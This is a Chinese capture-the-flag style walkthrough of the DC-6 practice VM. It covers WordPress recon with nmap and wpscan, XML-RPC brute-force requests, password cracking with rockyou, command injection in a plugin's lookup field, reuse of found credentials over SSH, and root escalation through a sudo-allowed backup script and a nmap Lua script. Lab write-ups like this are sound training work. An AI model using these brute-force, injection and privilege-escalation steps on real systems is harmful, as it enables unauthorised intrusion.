文章来源|MS08067 安全实验室
本文作者:大方子(Ms08067实验室核心成员)
Kali:192.168.0.128 DC-6:192.168.0.130
先找到DC-6的IP地址
sudo arp-scan --interface eth0 192.168.0.1/24
然后用Nmap对DC-6进行扫描
sudo nmap -sS -sC -sV -p- 192.168.0.130
可以看到主机开放了80 和 22端口
通过扫描结果可以看出,通过80端口访问DC-6的web服务会被重定向到http://wordy/
这里我们需要修改下Host,让http://wordy/指向192.168.0.130
这里要注意是访问的是http://wordy/而不是http://wordy.com
可以看到是wp来进行搭建的,跟DC-2类似
这里我们先用wpscan扫描下看看当前网站看看有没有什么有用的信息
wpscan --url http://wordy/
可以看到wp开启了XML-RPC
当前的wp版本是5.1.1
这里稍微介绍下WP的XML-RPC的漏洞知识
我们可以通过XML-RPC,查看目标网站支持的方法
POST /xmlrpc.php HTTP/1.1
Host: wordy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 95<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
一般情况下,wordpress的管理后台都会设置账号登录失败次数限制,因此,可以通过xmlprc.php接口来进行爆破。通常会使用wp.getUserBlogs、wp.getCategories和metaWeblog.getUsersBlogs这个方法来进行爆破,也可以使用其他的方法。
参数构造如下,如果爆破成功则会返回相应的博客内容
POST /xmlrpc.php HTTP/1.1
Host: wordy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 174<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>
在wp版本低于3.5.1中还可以利用pingback.ping进行端口扫描、文件读取的功能这里不展开描述
接下来对网站的用户进行遍历
wpscan --url http://wordy/ -e u
将这些用户名记录下来,爆破用
wpscan --url http://wordy/ -U wp-users -P /usr/share/wordlists/rockyou.txt
得到账号密码
账号:mark 密码:helpdesk01
wp默认的后台地址为/wp-admin
在Activity monitor/tools中找到lookup,可以命令拼接来进行命令执行
常见的命令连接符有(|,&&,||这三个连接符都是Windows系统与Linux系统共有的,而&是Windows系统特有,;是Linux系统特有的)A|B:无论执行的A命令是否正确,B命令都执行
A&&B:只有在A命令成功执行的前提下,B命令才可以执行
A||B:只有在A命令没有执行失败的前提下,B命令才可以执行
A&B:不管A是否执行成功,B命令都会执行
A;B:不管A是否执行成功,B命令都会执行
接下来开始反弹shell
在jens目录下发现backups.sh脚本
想尝试编辑这个脚本,发现没有权限
接着继续翻找信息,找到graham的账号信息
graham - GSo7isUM1D4
直接通过SSH登录到graham
查看其sudo权限,可以看到graham可以不用密码,以jens权限来运行/home/jens/backups.sh脚本
修改backups.sh来反弹jens的权限
然后以jens身份来执行脚本
sudo -u jens /home/jens/backups.sh
得到jens的权限
查看Jens的sudo权限,可以看到jens可以无密码通过root权限来运行nmap
那么接下来就通过nmap来进行提权
echo 'os.execute("/bin/bash")' > root.sh
sudo nmap --script=root.sh
得到root权限
— 实验室旗下直播培训课程 —